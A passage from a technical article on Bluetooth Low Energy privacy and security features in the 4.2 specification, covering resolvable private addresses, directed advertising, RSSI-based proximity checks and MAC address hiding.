Bluetooth SIG compliant private address is the recommended way of providing security to BLE devices. BLE specification supports resolvable private address and non-resolvable private address. Only requirement to have the non-resolvable private address is address shall not be equal to public address of the device. Non resolvable private addresses are typically used for beacons. To generate resolvable private address, devices needs to be paired, exchange the private address and IRK during the pairing process. Only paired devices can resolve this random address and thus possibilities of tracking the device over period of time is nullified. Private address is changed periodically based on a timer event and only a trusted device can resolve this address.

Directed advertising:

In directed advertising devices indicates both MAC address of the advertising device and MAC address of the devices it is advertising to. Advertiser invites the specific trusted device to re-connect, if required. Address used by the advertiser a special private address called as reconnect address. In legacy Bluetooth standards, reconnect address can be changed only based on user actions such as connect, disconnect, device power cycle etc. Latest 4.2 specifications supports timer based update of the reconnect address.

Authentication over proximity:

Received Signal Strength Indicator (RSSI) is the indication of beacon signal strength observed by the receiver. RSSI is a factor of transmitting power of broadcaster and the distance between broadcaster and receiver. As an additional safety measure for the BLE devices, signal strength monitor can be used to extract the distance between the broadcaster and the receiver and BLE devices with predefined range of RSSI only can be selected for communication. This method will reduce the risk of a being tracked or monitored or misleading by a hacker over a long distance. Since RSSI can vary greatly

depending on the usage conditions and environment, this method is specific to the usage conditions and deployment of the products.

Hidden MAC:

Bluetooth SIG introduced 4.2 standards with improved data exchange rate as well as security. Most of the major security features of the classic Bluetooth are adapted to Low Energy specifications. This specification hides the unique MAC address of the devices. Advertising LE devices need not broadcast their MAC address for identification purpose.

6. Conclusion

Compared to Legacy LE standards, 4.2 specifications introduce a new security model along with Secure Simple pairing. Security techniques like MAC address hiding, Elliptic Curve Diffie-Hellman based key exchange and LE secure connections ensures industry standards security for the LE device. Thus Bluetooth SIG 4.2 specifications ensured the smarter privacy approaches for the LE devices and now Bluetooth smart is more secure than ever.

7. References:

Original Post: https://www.design-reuse.com/articles/39779/security-considerations-for-bluetooth-smart-devices.html

Up ↑